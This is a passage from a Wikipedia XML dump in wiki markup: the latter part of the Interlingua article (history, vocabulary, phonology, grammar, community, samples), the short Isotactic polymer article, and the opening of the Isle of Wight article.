Ultimate credit for Interlingua must go to the American heiress Alice [[Vanderbilt]] Morris (1874–1950), who became interested in [[linguistics]] and the [[international auxiliary language]] movement in the early 1920s. In 1923, Morris and her husband, David Hennen Morris, founded the non-profit International Auxiliary Language Association in New York. Their aim was to place the study of IALs on a scientific basis. IALA became a major supporter of mainstream American linguistics, funding, for example, [[Edward Sapir]]'s cross-linguistic semantic studies of totality (1930) and grading phenomena (1944). Morris herself edited Sapir and [[Morris Swadesh]]'s 1932 cross-linguistic study of ending-point phenomena, and [[William Edward Collinson]]'s 1937 study of indication. Although the Morrises provided most of IALA's funding, it also received support from such prestigious groups as the [[Carnegie Corporation]], the [[Ford Foundation]] and the [[Rockefeller Foundation]].

In its early years, IALA concerned itself with three tasks:  finding other organizations around the world with similar goals; building a library of books about [[language]]s and [[interlinguistics]]; and comparing extant IALs, including [[Esperanto]], [[Esperanto II]], [[Ido]], [[Latino Sine Flexione]], [[Novial]], and [[Occidental language|Occidental]]. In pursuit of this last goal it arranged conferences with proponents of these IALs, debating features and goals of their representative language.  However, with a &quot;concession rule&quot; that required participants to make a certain number of concessions, the debates were forestalled from changing from heated to explosive.

During the Second International Interlanguage Congress in [[Geneva]] in [[1931]], the IALA began to break new ground, as its conference was attended (and its efforts legitimized) by eminent linguists who were &lt;i&gt;not&lt;/i&gt; members of the IALA.

[[1933]] was a major year for the IALA.  First, Professor [[Herbert H. Shenton]] of [[Syracuse University]] founded an intense study about the problems that had been encountered in interlanguages when used in international conferences.  Later, Dr. [[Edward L. Thorndike]] published a paper about the relative learning speeds of &quot;natural&quot; and &quot;modular&quot; constructed languages.  Although neither was a member of the IALA, both were major influences on its work from then on.

In [[1937]], the first steps towards the finalization of Interlingua were made, when a committee of 24 linguists from 19 universities around the world published &lt;i&gt;Some Criteria for an International Language and Commentary&lt;/i&gt; (English title). However, the intended biannual meetings of the committee was cut short by the outbreak of [[World War II]] in 1939.

===Development of a new language===
From the beginning, the IALA had not set out to create its own language, but rather to identify which international language already extant would be the best suited to the task, and how best to promote it.  However, after ten years of research, more and more members of the IALA came to the conclusion that none of the extant interlanguages were up to the task.  By [[1937]], the decision to create a new language had been arrived at, a decision that surprised the world's interlanguage community.

Although much of the debate had been to that point evenly balanced over the decision to use naturalistic (e.g., [[Novial]] and [[Occidental]]) or systematic (e.g., [[Esperanto]] and [[Ido]]) words, during the war years, those supporting a naturalistic interlanguage won out.  The first support was Dr. Thorndike's paper; the second was the concession by those supporting systematic languages that thousands of words were already extant in many (or even a majority) of the European languages.  Their argument was that systematic derivation of words was a [[Procrustes|Procrustian bed]], forcing the learner to unlearn and re-memorize a new derivation scheme when there was already a usable corpus of vocabulary.  This finally convinced those who supported systematic languages, and the IALA from that point assumed the position that a naturalistic language would be best.

At the outbreak of the Second World War, IALA's research activities were moved from Liverpool to New York, where E. Clark Stillman established a new research staff. Stillman, with the assistance of Dr. [[Alexander Gode]], developed a ''prototyping'' technique -- an objective methodology for selecting and standardizing vocabulary based on a comparison of ''control languages''.

In [[1943]] Stillman left for war work and Gode became Acting Director of Research. In [[1945]], IALA published a ''General Report'' (largely Morris's work), which presented three models for IALA's language:
* Model P was a naturalistic model that made no attempt to regularize the prototyped vocabulary. 
* Model E was lightly schematicized along the lines of [[Occidental]].
* Model K was moderately schematicized along the lines of [[Ido]] (i.e., somewhat less schematicized than [[Esperanto]]).

From [[1946]]–[[1948|48]], the French linguist [[André Martinet]] was Director of Research. During this period IALA continued to develop models and conducted polling to determine the optimal form of the final language. An initial survey gauged reactions to the three models of 1945. In 1946 an extensive survey was sent to more than 3000 language teachers and related professionals on three continents.

Four models were canvassed: Model P and K, plus two new models similar to Model E of 1945.

{| border=0  
|- valign=top
| &amp;nbsp; || Model&amp;nbsp;P || &amp;nbsp; || highly&amp;nbsp;naturalistic || &amp;nbsp; || ''Jo habe nascite, o dea cum le oculos azure, de parentes barbare, inter le bone et virtuose Cimmerios''
|- valign=top
| &amp;nbsp; || Model&amp;nbsp;M || &amp;nbsp; || moderately&amp;nbsp;naturalistic || &amp;nbsp; ||''Io have nascit, o dea con le ocules azur, de parentes barbar, inter le bon e virtuos Cimmerios ''
|- valign=top
| &amp;nbsp; || Model&amp;nbsp;C || &amp;nbsp; || slightly&amp;nbsp;schematic || &amp;nbsp; ||''Yo ha nascet, o deessa con le ocules azur, de parentes barbar, inter le bon e virtuose Cimerios ''
|- valign=top
| &amp;nbsp; || Model&amp;nbsp;K || &amp;nbsp; || moderately&amp;nbsp;schematic || &amp;nbsp; ||''Yo naskeba, o dea kon le okuli azure, de parenti barbare, inter le bone e virtuose Kimerii ''
|- valign=top
| &amp;nbsp; || colspan=3 | (English) || &amp;nbsp; ||'I was born, O goddess with the blue eyes, of barbarian relations, among the good and virtuous Cimmerians'
|- valign=top
| &amp;nbsp; || colspan=3 | (modern Interlingua) || &amp;nbsp; ||''Io ha nascite, o dea con le oculos azur, de parentes barbar, inter le bon e virtuose Cimmerios''
|}

Model P was unchanged from 1945; Model K was slightly modified in the direction of [[Ido]].

The survey results were surprising. The two more schematic models, C and K, were rejected (K overwhelmingly). Of the two naturalistic models, M attracted somewhat more support than P.  Taking national biases into account (for example, the French who were polled disproportionately favored Model M), IALA decided on a compromise between models M and P, with certain elements of C.

===Finalization===
Upon Martinet's resignation in 1948 to take up a position at [[Columbia University]], Gode took on the last phase of Interlingua's development.  His task was to combine elements of Model M and Model P, while taking the flaws seen in both by the polled community and repairing them with elements of Model C as necessary, while simultaneously developing a vocabulary. 

The vocabulary and verb conjugations of Interlingua were initially published in [[1951]].  In 1951, the IALA published the finalized grammar, a 27,000-word dictionary (Interlingua to English only), and an introductory book entitled ''Interlingua a Prime Vista'' (&quot;Interlingua at First Sight&quot;). 

An early practical application of Interlingua was the scientific newsletter ''Spectroscopia Molecular'' (published 1952–1980). In 1954 Interlingua was employed at the Second World Cardiological Congress, in Washington DC, for both written summaries and oral interpretation. Within a few years it found similar use at nine further medical congresses. Between the mid-1950s and the late 1970s, some thirty scientific and especially medical journals provided article summaries in Interlingua. Science News Service, the publisher at the time of ''Science Newsletter'', published a monthly column in Interlingua from the early nineteen-fifties until Gode's death in 1970.

===Interlingua today===
Today, Interlingua is promoted primarily by the [[Union Mundial pro Interlingua]] (president: Barbara Rubinstein, Sweden; secretary-general: Petyo Angelov, Bulgaria).  Periodicals and books are produced by various national organizations, including the [[Societate American pro Interlingua]] (president: Dr. Stanley Mulaik) and the Svenska Sällskapet för Interlingua (secretary: Ingvar Stenström).

Currently, [[Panorama In Interlingua]] is the most prominent Interlingua periodical. It is a 28-page newsletter published bimonthly that covers news, science, and editorials.  Interlingua has seen a resurgence over the last decade thanks to the Internet, with the number of speakers jumping tenfold by some estimates.

== Vocabulary ==

The IALA set up a control group of five widely-known languages with much shared vocabulary, grouped into four units: [[French language|French]], [[Italian language|Italian]], [[Spanish language|Spanish]]/[[Portuguese language|Portuguese]] (treated as one unit), and [[English language|English]]. A word is eligible for Interlingua if it occurs with similar meanings in three of these four units. Secondary controls  are originally [[German language|German]] and [[Russian language|Russian]]. Self-explanatory compounds can be included with support from at least one source language. Grammatical words, required to operate the language, are taken from [[Latin]] if this procedure fails.

The forms of Interlingua words are based on the historical or hypothetical forms from which the national forms evolved. Derivational series are also considered. Though French ''oeil'', Italian ''occhio'', Spanish ''ojo'' and Portuguese ''olho'' (&quot;eye&quot;) are quite different, they descend from a historical form ''oculus''. This, and international derivatives like ''ocular'' and ''oculista'', determine the form ''oculo'' to be used in Interlingua.

New words can be created internally, through derivational affixes, or extracted from the control languages in the manner of the original vocabulary. Internal word-building, though freer than in the control languages, is more restricted than in schematic IALs such as [[Esperanto]] and [[Ido]]. Most Interlingua dictionaries include only words with support in the control languages.

Interlingua as now used tends to have less [[Classical Latin]] vocabulary than the IALA's original version, replaced in part by southern Romance vocabulary.  For example ''emer'' (&quot;to buy&quot;) has been mostly replaced by ''comprar''; ''sed'' (&quot;but&quot;) with ''ma'' or ''mais''; and ''nimis'' (&quot;too&quot;) with ''troppo''. However, other classical Latin words, such as &quot;pro&quot; (&quot;for&quot;), &quot;contra&quot; (&quot;against&quot;), &quot;post&quot; (&quot;after&quot;) and &quot;ergo&quot; (&quot;therefore&quot;) are retained because they are seen as more internationally understandable than their Romance counterparts.

== Phonology and spelling ==

The pronunciation is similar to ecclesiastical Latin. For the most part, the consonants are like English, while the vowels are like Spanish or Italian, {{IPA|[a, ɛ~e, i, ɔ~o, u]}}. Four vowel pairs (AI, AU, EU, OI) are pronounced as falling diphthongs ({{IPA|[aj, aw, ew, oj]}}). Notable exceptions are as follows:

*C is &quot;soft&quot; ({{IPA|[ts]}}) before ''e'', ''i'', or ''y''; otherwise &quot;hard&quot; {{IPA|[k]}}.
*CH is most often {{IPA|[k]}} and is used before ''e'', ''i'', or ''y'' or in words of Greek origin.  In many words, especially of French origin, it has the sound of English ''sh'' (''choc, chenille, chef, chimpanze, chocolate, cheque''). {{IPA|[ʃ]}}. In a few loanwords it takes the English or Spanish ''ch'' sound {{IPA|[tʃ]}} (''microchip'').
*G is &quot;hard&quot; ({{IPA|[g]}}), except in the sequences ''-age'' and ''-agi-'' (preceding a vowel), where it has the sound of French ''j''.
*H is silent in the combinations ''rh'' and ''th'' ({{IPA|[r]}} and ({{IPA|[t]}}).
*I is like English ''y'' {{IPA|[j]}} before another vowel, unless stressed (''union'' {{IPA|[u'njon]}}, ''via'' {{IPA|['via]}}).
*J is French ''j'' {{IPA|[ʒ]}}.
*Q is {{IPA|[k]}} and occurs almost exclusively in the combination ''qu'' {{IPA|[kw]}}. 
* PH is {{IPA|[f]}} in words of Greek origin.
* R is lightly rolled or trilled {{IPA|[ɾ], [r]}}, as in Italian or Spanish.
* TI becomes {{IPA|[tsj]}} before a vowel, except if the 'i'' is stressed or in the combination ''-sti-'' (''nation'' {{IPA|[na'tsjon]}}; but ''politia'' {{IPA|[poli'tia]}}, ''question'' {{IPA|[kwe'stjon]}}.
*U is {{IPA|[w]}} before another vowel, unless stressed (''continuar'' {{IPA|[konti'nwar]}}, ''duo'' {{IPA|['duo]}}.
*Y has the same value as I.

Double consonants are pronounced as single (''fila'' {{IPA|['fila]}}, ''illa'' {{IPA|['ila]}}).

=== Alternative pronunciations ===

Alternative pronunciations are permitted for some letters and combinations:

* Some speakers pronounce &quot;soft&quot; C as {{IPA|[s]}} rather than {{IPA|[ts]}}.
* Many speakers pronounce EU like English ''oy'' ({{IPA|[oj]}}).
* H is optionally silent in all positions.
* Many speakers pronounce J and &quot;soft&quot; G like English ''j'' {{IPA|[dʒ]}}.
*P is optionally silent in initial ''pn-, ps-,'' and ''pt-''.
* QU is pronounced ''qu'' as {{IPA|[k]}} before ''e'' or ''i'' by some speakers . Almost all speakers pronounce the particles ''que'' and ''qui'' as {{IPA|[ke, ki]}}.
* S may be pronounced {{IPA|[z]}} between two vowels. SS is always {{IPA|[s]}}.
* Some speakers pronounce the &quot;soft&quot; TI as {{IPA|[sj]}} rather than {{IPA|[tsj]}}. A few keep it &quot;hard&quot; ({{IPA|[tj]}}).
* X may be pronounced {{IPA|[gz]}} between two vowels.

=== Stress ===

The stress falls on one of the last three syllables of a word. It most often falls on the vowel before the last consonant of a word (e.g., '''''lin'''gua, es'''ser''', requiri'''men'''to''). The following rules account for most of exceptions: 

* Verbs in the future tense are stressed on the final ''-a'' (''io scribe'''ra''''' 'I shall write').
* Verbs in the conditional tense are stressed on the final ''-ea'' (e.g. ''il esse'''re'''a sage'' 'it would be wise').
* Words (except verbs) ending in ''-le, -ne,'' or ''-re'' are stressed on the third-last syllable ('''''fra'''gile, '''mar'''gine, '''al'''tere;'' but ''illa im'''po'''ne'' 'she imposes').
*Words ending in ''-ica/-ico, -ide/-ido'' and ''-ula/-ulo,'' are stressed on the third-last syllable (''po'''li'''tica, scien'''ti'''fico, '''ra'''pide, '''stu'''pido, ca'''pi'''tula, '''se'''culo'').
*Words ending in ''-ic'' are stressed on the second-last syllable ('''''cu'''bic'').

Users may depart from the preferred stress for a word, provided this does not interfere with communication. For example, ''ki'''lo'''metro'' and ''kilo'''me'''tro'' are both acceptable, although ''ki'''lo'''metro'' is preferred for etymological reasons.

=== Alternative spellings ===

The original specifications for Interlingua (1951) provided for an alternative, simplified orthography. This differed from the &quot;classic&quot; orthography primarily by

* dropping double consonants(''application'' &amp;rarr; ''aplication''), and
* simplifying the spelling of words derived from Greek:
** CH ({{IPA|[k]}}) becomes C except before E and I (''character'' &amp;rarr; ''caracter''; but ''oligarchic'' is unchanged)
** PH becomes F (''telephono'' &amp;rarr; ''telefono'')
** RH becomes R (''rhetorica'' &amp;rarr; ''retorica'')
** TH becomes T (''theatro'' &amp;rarr; ''teatro'')
** Y (vowel) becomes I (''mytho'' &amp;rarr; ''mito'').

Some current users apply the simplified spelling of Greek-derived words, but almost all retain the double consonants.

== Grammar ==
{{seesubarticle|Interlingua grammar}}

The grammar of Interlingua is based on that of the Romance languages, but simplified, primarily under the influence of English.  Grammatical features absent from any of the primary control languages were dropped. For example, there is neither adjectival [[agreement]]  (Spanish ''gatos negros'' 'black cats'), since this feature is absent in English, nor progressive verb tenses (English ''I am reading''), since they are absent in French. The definite article ''le'' is invariable, as in English.

Nouns have no grammatical [[gender]] and are pluralised by adding ''-s'' (''-es'' after a final consonant, ''-hes'' after a final ''-c''). [[Pronoun]]s take [[nominative]], [[oblique case|oblique]], and [[genitive]] cases.  Most [[adverb]]s are derived from [[adjective]]s by adding ''-(a)mente''.

The verb system is a simplified version of the systems found in English and the Romance languages. Except (optionally) for ''esser'' 'to be', there are no personal inflections, and the [[indicative]] also covers the [[subjunctive]] and [[imperative]] moods. Three common verbs usually take short forms in the present tense. A few other irregular verb forms are available though little used.

There are four simple tenses/moods (the present, past, and future tenses and the conditional mood) and four compound tenses/moods/voices (the past and future tenses, the conditional mood, and the passive voice). These compound structures employ an auxiliary plus the infinitive or the past participle. Simple and compound tenses can be combined in various ways to express more complex tenses (e.g., ''Nos haberea morite'' 'We would have died').

Word order is essentially Subject–Verb–Object, except that pronouns often follow the Romance pattern Subject–Object–Verb (''Io les vide'' 'I see them'). Adjectives may precede or follow the nouns they modify. The position of adverbs is flexible, though constrained by common sense.

== Community ==
Estimates of the number of speakers of Interlingua range from as few as 100 to as many as 10,000. The majority of conservative estimates, however, place the number of active users of Interlingua at between 1,000 and 1,500. There are no known native speakers.

Interlingua has active supporters in [[North America|North]] and [[South America]], [[Europe]] (particularly [[Scandinavia]]), and [[Russia]]. There are Interlingua web pages (including editions of Wikipedia and Wikitionary) and several periodicals, including ''Panorama in Interlingua'' from the [[Union Mundial pro Interlingua]] (UMI) and the magazines of the national societies allied with it. There are several active mailing lists, and Interlingua is also in use in certain [[Usenet]] newsgroups, particularly in the europa hierarchy. In recent years, samples of Interlingua have also been seen in music and animé.

Every two years, the UMI organizes an international conference in a different European country; the most recent conference ([[2005]]), in [[Sweden]], was attended by slightly over 250 people.  In the year between, the Scandinavian Interlingua societies co-organize a conference in Sweden.

Interlingua may well be the most widely spoken [[international auxiliary language]] (IAL) after [[Esperanto]], although the estimated number of speakers overlaps with that of [[Ido]].  It is also claimed to be the most widely ''understood'' IAL by virtue of its naturalistic (as opposed to schematic) grammar and vocabulary, allowing those familiar with one of the primary control languages to read and understand it with little study.

== Criticisms and controversies ==

Like any project of such scope, Interlingua has generated some heated discussion, both among Interlingua users and among non-users (frequently proponents of other auxiliary languages). Some common criticisms (and their common responses) are noted below.

* Some say that Interlingua is too Romance in its grammar and vocabulary, and is not fair towards Germanic languages.  Its defenders note that the Romance languages, being based on Latin, have the advantage in the linguistic impact of the old [[Roman Empire]], which is still seen today in that a Romance language is spoken on five out of seven continents; the only Germanic languages with an international scope are [[English language|English]] (which is already a primary language) and [[German language|German]] (which is already a secondary language). However, [[Spanish_language|Spanish]], which has a very regular grammar and inflectional system compared to other Romance languages, and is quite easy for English-speakers to learn, has threatened to obviate the need for not only Interlingua but Esperanto and Ido, especially in the [[United States]], where Spanish is the most common second language studied. (In fact, there is debate in the Interlingua community as to expanding the language's sources to other languages; see [[:ia:Creation_de_nove_parolas_in_Interlingua|Creation de nove parolas in Interlingua]] (in Interlingua) for an overview of the debate.)

* Others note that Interlingua, being [[Europe]]an in nature, is primarily of use to Europeans.  Interlingua supporters point out that [[Esperanto]], despite being based on Slavic, Germanic, and Romance languages, has some of its strongest communities in [[China]] and [[Japan]], where the local languages are totally unrelated to the [[Indo-European languages]]. (See [[color argument]].)

* Finally, some argue that Esperantists outnumber Interlingua users to such a degree (estimates range from 50:1 to 1000:1) that anyone interested in promoting an auxiliary language should support [[Esperanto]] instead. Supporters counter that it is a lot easier to understand Interlingua without training than Esperanto, because Interlingua uses the most widespread words of the Romance languages, whereas Esperanto makes up many of its own words according to internal rules. For example, one can speak Interlingua with anyone who knows Italian or Spanish. One will even be understood by Portuguese speakers, but will have difficulty understanding them. Whereas if one tries to communicate in Esperanto to speakers of these other languages one will have very limited success.

== Samples ==

{|
|''Scientistas varia justo como nos alteros. Il ha sapientes e fatuos, sobrios e dissipatos, solitarios e gregarios, corteses e inciviles, puritanos e licentiosos, industriosos e pigros, et cetera. Como genere illes exhibi certe tendentias. Per exemplo, illes es totos de alte intelligentia. Le scientista pote esser stupide re certe cosas, ma ille debe haber le basic potentia mental que es requirite pro devenir scientista; ille non pote esser moron in le stricte senso psychometric.''
|Scientists vary just like the rest of us. There are the wise and the foolish, the sober and the dissipated, the solitary and the gregarious, the courteous and the rude, the puritanical and the licentious, the industrious and the lazy, and so on. As a type they exhibit certain tendencies. For example, they are all of high intelligence. The scientist may be stupid about certain things, but he must have the basic mental capacity that is required to become a scientist; he cannot be a moron in the strict psychometric sense.
|}

The [[Lord's Prayer]] (also available as an [http://www.wikipedia.com/upload/paternoster-ia.mp3 MP3 file]):

: ''Nostre Patre, qui es in le celos,''
: ''que tu nomine sia sanctificate;''
: ''que tu regno veni;''
: ''que tu voluntate sia facite''
: ''super le terra como etiam in le celo.''
: ''Da nos hodie nostre pan quotidian,''
: ''e pardona a nos nostre debitas''
: ''como nos pardona a nostre debitores,''
: ''e non duce nos in tentation,''
: ''sed libera nos del mal.''

== See also ==
{{InterWiki|code=ia}}
{{Wikibookspar||Interlingua}}
* [[Irregularities and exceptions in Interlingua]]
* [[International auxiliary language]]
* [[Esperanto and Interlingua compared]]

== References ==
* Falk, Julia S. ''Women, Language and Linguistics: Three American stories from the first half of the twentieth century.'' Routledge, London &amp; New York: 1999.
* Gode, Alexander, et al.  [http://www.interlingua.com/ied/ ''Interlingua-English: a dictionary of the international language''].  Storm Publishers, New York, 1951.
* Gode, Alexander, and Hugh E. Blair. [http://members.optus.net/~ado_hall/interlingua/gi/home/entry_page.html ''Interlingua: a grammar of the international language''].  Storm Publishers, New York, 1951.
* Gopsill, F.P.   [http://www.geocities.com/hkyson/directorio/interlinguistica/html/lehistoriahtml.htm ''Le historia antenatal de Interlingua.'']. (In Interlingua.)  Accessed [[28 May]] [[2005]].
* International Auxiliary Language Association (IALA). [http://www.interlingua.com/lectura/iala-general-report.htm ''General Report'']. IALA, New York: 1945. 
* Pei, Mario.  ''One Language for the World and How To Achieve It.'' Devin-Adair, New York; 1958.
* Union Mundial pro Interlingua (UMI). [http://www.interlingua.com/historia/ ''Interlingua 2001: communication sin frontieras durante 50 annos''] (in Interlingua). Accessed [[3 December]] [[2005]].

== External links ==

* [http://www.interlingua.com/ Union Mundial pro Interlingua], the official site of the UMI.
* [http://www.interlingua.com/ied/ ''Interlingua-English: a dictionary of the international language''].
* [http://members.optus.net/~ado_hall/interlingua/gi/home/entry_page.html ''Interlingua: a grammar of the international language'']. 
* [http://dmoz.org/World/Interlingua/ Directory of websites in Interlingua] at Open Directory Project
* [http://www.google.com/intl/ia/ Google in Interlingua]
* [http://www.europa.usenet.eu.org/ The europa.* Usenet hierarchy], which uses Interlingua for the denomination of its newsgroups and as one of the documentation languages
*[http://www.inlv.demon.nl/internodio/ Internodio] A website in Interlingua containing news items, of which some are also in audio (occasionally updated)
*[http://www.omniglot.com/writing/interlingua.htm Omniglot article on Interlingua]
*[http://en.wikibooks.org/wiki/Basic_Interlingua_English_Dictionary#P wikibooks English-Interlingua dictionary]

*[http://ia.wiktionary.org/wiki/Anglese-Interlingua English - Interlingua Dictionary]

[[Category:International auxiliary languages]]
[[Category:Interlingua|*]]

[[ca:Interlingua]]
[[cy:Interlingua]]
[[de:Interlingua (Plansprache)]]
[[es:Interlingua]]
[[eo:Interlingvao]]
[[fr:Interlingua]]
[[gl:Interlingua]]
[[ko:인테르링구아]]
[[ia:Interlingua]]
[[it:Interlingua]]
[[he:אינטרלינגואה]]
[[la:Interlingua]]
[[lt:Interlingua]]
[[hu:Interlingva nyelv]]
[[nl:Interlingua]]
[[ja:インターリングア]]
[[no:Interlingua]]
[[pl:Interlingua]]
[[pt:Interlíngua]]
[[ro:Interlingua]]
[[ru:Интерлингва]]
[[simple:Interlingua]]
[[sr:Интерлингва]]
[[fi:Interlingua]]
[[sv:Interlingua]]
[[zh:国际语]]</text>
    </revision>
  </page>
  <page>
    <title>Isotactic</title>
    <id>15101</id>
    <revision>
      <id>27216231</id>
      <timestamp>2005-11-03T02:52:20Z</timestamp>
      <contributor>
        <username>Nathaniel</username>
        <id>435802</id>
      </contributor>
      <text xml:space="preserve">[[image:Isotacticpolymer.gif|right|Isotactic polymer chain]]'''Isotactic''' [[polymer]]s refer to those polymers formed by branched [[monomer]]s that have the characteristic of having all the branch groups on the same side of the [[polymeric chain]]. The monomers are all oriented in the same way: If we represent a monomer by AB then an isotactic polymer is AB-AB-AB-AB-AB-etc.

Besides Isotactism, there are other two types of stereoregularity or [[tacticity]] frequently found in the scientific literature:

[[Syndiotactic|Syndiotactism]]- The monomers have alternating orientations within the polymer chain: 
AB-BA-AB-BA-AB-BA-etc.

and [[Atactic|Atactism]]- The monomers have random orientations within the chain:
e.g. AB-AB-BA-AB-BA-BA-BA-AB-etc.



[[Category:Polymer chemistry]][[category:stereochemistry]]</text>
    </revision>
  </page>
  <page>
    <title>Isle of Wight</title>
    <id>15102</id>
    <revision>
      <id>41624068</id>
      <timestamp>2006-02-28T16:27:29Z</timestamp>
      <contributor>
        <ip>137.222.216.94</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{otheruses}}
{| class=&quot;infobox&quot; style=&quot;width: 25em;&quot;
|-
!colspan=2 align=center bgcolor=&quot;#ff9999&quot;|Isle of Wight
|-
|colspan=2 align=center|[[Image:EnglandIsleWight.png]]
|-
!colspan=2 bgcolor=&quot;#ff9999&quot;|Geography
|-
|width=&quot;45%&quot;|Status:||[[Ceremonial counties of England|Ceremonial]] &amp; [[Metropolitan and non-metropolitan counties of England|Non-metropolitan]]/[[Unitary authority|Unitary]] county
|-
|Region:||[[South East England]]
|-
|[[Surface area|Area]]:&lt;br&gt;- Total&lt;br&gt;- District||[[List of Ceremonial counties of England by Area|Ranked 46th]]&lt;br&gt;[[1 E8 m²|380]] [[square kilometre|km&amp;sup2;]]&lt;br&gt;[[List of English districts by area|Ranked 122nd]]
|-
|Admin HQ:||[[Newport, Isle of Wight|Newport]]
|-
|[[ISO 3166-2:GB|ISO 3166-2]]:||GB-IOW
|-
|[[ONS coding system|ONS code]]:||00MW
|-
|[[Nomenclature of Territorial Units for Statistics|NUTS]] 3:||UKG11
|-
!colspan=2 bgcolor=&quot;#ff9999&quot;|Demographics
|-
|[[Population]]&lt;br /&gt;- Total ([[2004]] est.)&lt;br /&gt;- [[Density]]&lt;br /&gt;- District
|[[List of ceremonial counties of England by population|Ranked 46th]]&lt;br /&gt;138,400&lt;br /&gt;364 / km&amp;sup2;&lt;br /&gt;[[List of English districts by population|Ranked 125th]]
|-
|Ethnicity:||98.7% White
|-
!colspan=2 bgcolor=&quot;#ff9999&quot;|Politics
|-
| align=center width=140px | [[Image:IOW_flag.png|150px]] || align=center width=140px | [[Image:IW_Arms.png|120px]]
|-
| align=center width=140px |'''Flag'''&lt;br&gt;[[Flag of the Isle of Wight|''(in detail)'']] || align=center width=140px |'''Arms'''&lt;br&gt;[[Isle of Wight Arms|''(in detail)'']]
|-
| align=center colspan=2 style=border-bottom:3px solid gray; | &lt;font size=-1&gt;''Motto: All this beauty is of God''&lt;/font&gt;
|-
|colspan=2 align=center|Isle of Wight Council&lt;br&gt;http://www.iwight.gov.uk/
|-
|Executive:||[[Conservative Party (UK)|Conservative]]
|-
|[[MPs elected in the UK general election, 2005|MP]]:||[[Andrew Turner]]
|}
The '''Isle of Wight''' is an [[England|English]] [[island]], south of [[Southampton, England|Southampton]] off the southern English coast. It is part of the [[United Kingdom]]. 

Popularized from [[Victorian Era|Victorian times]] as a holiday resort, it is known for its natural beauty and as home to the [[Royal Yacht Squadron]] at [[Cowes]], a town that hosts a world famous annual [[Cowes Week|regatta]].  Colloquially, it is known as &quot;The Island&quot; by its residents. It possesses a rich history including its own brief status as a [[vassal]] kingdom in the [[fifteenth century]], home to poet [[Alfred Lord Tennyson]] and [[Victoria of the United Kingdom|Queen Victoria's]] much loved summer residence and final home [[Osborne House]].  Its maritime history encompasses boat building and sail making through to the manufacture of [[flying boat]]s and the world's first [[hovercraft]].  It is home to the [[Isle of Wight Festival]] which in [[1970]] was one of the largest [[rock music]] events ever held with estimates reaching 600,000 attendees, overtaking the record set at [[Woodstock]] a year earlier.  The island is also one of the richest [[fossil]] locations for [[dinosaur]]s in [[Europe]].  In [[686|686AD]], it became the last part of [[Great Britain]] to convert to [[Christianity]] - almost a century after the mainland. 

Until the revival of [[Rutland]] in [[1997]] it was the smallest [[county]] in England but it remains, with just one [[Member of Parliament]] and 132,731 permanent residents in the [[2001]] [[census]], the most populated [[List of Parliamentary constituencies in the United Kingdom|Parliamentary constituency]] in the [[United Kingdom]].

==Geography &amp; Wildlife==

The Isle of Wight is approximately diamond in shape and covers an area of [[1 E8 m²|147 square miles (381 square km)]]. Nearly half this area, mainly in the west of the Island, is designated as the [[Isle of Wight AONB|Isle of Wight Area of Outstanding Natural Beauty]]. The landscape of the Island is remarkably diverse, leading to its oft-quoted description of &quot;England in Miniature&quot;. The West Wight is predominantly rural, with dramatic coastlines dominated by the famous chalk [[downland]] ridge, running across the whole Island and ending in The Needles stacks - perhaps the most photographed aspect of the Isle of Wight. The highest point on the island is [[St Boniface Down]], at 241m/791ft, which is also a [[Marilyn (hill)|Marilyn]].
[[Image:Isle of Wight coastline.jpg|left|thumb|250px|The famous view at [[The Needles]] and [[Alum Bay]].]]

The rest of the Island landscape also has great diversity, with perhaps the most notable habitats being the soft cliffs and sea ledges, which are spectacular features as well as being very important for wildlife, and are internationally protected. The [[River Medina]] flows north into the [[Solent]], whilst the other main river, the [[Eastern Yar (river), Isle of Wight|River Yar]] flows roughly north-east, emerging at [[Bembridge]] Harbour on the eastern end of the Island. Confusingly, there is another entirely separate river at the western end also called the [[Western Yar (river), Isle of Wight|River Yar]] flowing the short distance from [[Freshwater, Isle of Wight|Freshwater]] Bay to a relatively large estuary at [[Yarmouth, Isle of Wight|Yarmouth]]. Where distinguishing the two becomes necessary, each may be referred to as the ''eastern'' or ''western'' Yar. The south coast of the island adjoins the [[English Channel]].

Island wildlife is remarkable, thought to be the only place in [[England]] where the [[red squirrel]] is flourishing, with a stable population. Unlike the rest of England, no [[grey squirrel]]s are to be found on the Island[http://www.iwight.com/living_here/environment/operation_squirrel.asp], nor are there any wild [[deer]], but instead rare and protected species such as the [[dormouse]], and many rare [[bat]]s can be found. The [[Glanville Fritillary]] butterfly, in the [[United Kingdom]] is largely restricted to the edges of the crumbling cliffs of the Isle of Wight.

[[Image:Wight.png|250px|right|thumb|'''Isle of Wight''' and the Solent]]

By far the main form of access is by [[boat]] from the mainland, regular [[ferry]] services being available from [[Lymington]] to [[Yarmouth, Isle of Wight|Yarmouth]], [[Southampton]] to East [[Cowes]], and [[Portsmouth]] to [[Fishbourne, Isle of Wight|Fishbourne]]. Foot passengers may also use the [[hovercraft]] service between [[Southsea]] and [[Ryde]] esplanade or two hi-speed [[catamaran]] services; from West Cowes to Southampton or Portsmouth Harbour Station to Ryde pier head. The latter provides a direct link between the rail systems of the Island and Mainland. The island is also served by airports for light [[aircraft]] at Bembridge and Sandown.

The island is the home of the smallest Train Operating Company in Britain's [[National Rail]] network, the [[Island Line, IOW | Island Line]], running some 8&amp;frac12; miles from [[Ryde]] Pier Head to [[Shanklin]] down the eastern side of the island. The island also has a steam operated heritage railway, the [[Isle of Wight Steam Railway]], which connects with the Island Line at Smallbrook Junction.

==History of the Isle of Wight==
''Main article: [[History of the Isle of Wight]].''

Much of the land now making up the Isle of Wight was deposited during the late [[Cretaceous]], at times part of a  large river [[valley]] complex which consisted of much of the current southern coast of [[England]]. The swamps and ponds of the region at that time made the island excellent for the preservation of fossils, and means that it is now one of the richest locations for finding [[dinosaur]]s in [[Europe]] (for more information see the [[dinosaurs of the Isle of Wight]] article).

The Isle of Wight became an island sometime after the end of the last [[Ice Age]] when [[post-glacial rebound]] caused the land level to sink, the [[Solent]] flooding and separating the island from the mainland. The island was part of [[Celt]]ic Britain and known to the Romans as ''Vectis'', captured by [[Vespasian]] in the [[Roman invasion of Britain|Roman invasion]]. After the Roman era the Isle of Wight was settled by the [[Jutes]], a [[Germanic tribe]], in the early stages of the [[Anglo-Saxon]] invasions.  The latter's corruption of ''Vectis'' into ''Wiht'' (the [[Latin]] ''v'' was pronounced [w]) is the root of the island's name.

[[Image:Charles I memorial.jpg|left|thumb|150px|Memorial to [[Charles I of England|Charles I]]  at [[Carisbrooke Castle]]]]

